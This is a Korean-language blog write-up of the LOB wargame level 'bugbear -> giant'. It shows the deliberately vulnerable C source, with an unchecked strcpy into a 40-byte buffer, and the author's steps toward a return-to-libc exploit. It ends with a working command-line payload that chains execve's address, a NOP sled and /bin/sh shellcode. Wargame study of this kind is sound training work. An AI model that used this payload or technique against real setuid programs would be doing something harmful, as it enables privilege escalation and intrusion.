[LOB] bugbear -> giant
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | /* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) { char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2){ printf("argv error\n"); exit(0); } // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret != execve_addr) { printf("You must use execve!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
시작
소스코드를 보니 ret를 execve의 주소로 하지않으면 exit하는 것을 볼 수있다.
execve의 주소를 쓰면 될 것 같다.
execve의 주소를 gdb를 통해 구했다.
그러나 주소값을 execve로 해주었는데도 안된다..
게다가 ldd가 /home/giant/assassin에 접근을 못해서 제대로된 execve값을 못구한것 같다.
왜 그런가했더니... tmp2폴더에 giant들을 복사해와 사용해서였다.
원본 파일을 실행해서 입력해보면 정상적으로 되는것을 볼 수있다.
(왜냐하면 원본파일에는 setuid가 걸려있어 giant권한으로 giant폴더에 접근할 수 있다.)
참고로 \x0a의 값이 줄바꿈문자값(엔터)이라서 ``문을 한번 ""안에 넣어줘야한다. 안그러면 중간에 끓겨서 들어간다;
./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40")'`"
으어... execve를 이용해 쉘코드를 얻으면 좋겠지만,,, payload 구성이 귀찮아서
execve가 끝난 후 리턴되는 주소값을 쉘코드 주소값으로 하는게 더 쉬울 것같다.
그러나 원본 파일은 코어덤프를 못뜨고... gdb로 디버깅할 수 없으므로 복사된 파일로 일단 해야한다.
복사된 파일로 할 때는 /home/giant/assassin에 접근하지 못하기때문에 실제 execve 주소값과 비교하여 exit를 결정하는게 아니라 소스코드에서 구해진 execve_offset값이 비교된다.
일단 저 주소값을 ret에 넣고 argv[2]에 쉘코드를 넣어 코어덤프를 일으켰다.
0xbffff8a0 정도로 뛰어주면 될 것 같다.
A*44(buffer) + execve주소(main의ret) + 쉘코드주소(execve의ret) + 인자1(execve의) + 인자2
payload : ./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40"+"\xa0\xf8\xff\xbf")'`" `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
'Wargame > LOB' 카테고리의 다른 글
[LOB] assassin -> zombie_assassin (0) | 2018.04.02 |
---|---|
[LOB] giant -> assassin (0) | 2018.04.02 |
[LOB] darkknight -> bugbear (0) | 2018.04.02 |
[LOB] golem -> darkknight (0) | 2018.04.02 |
[LOB] skeleton -> golem (0) | 2018.04.01 |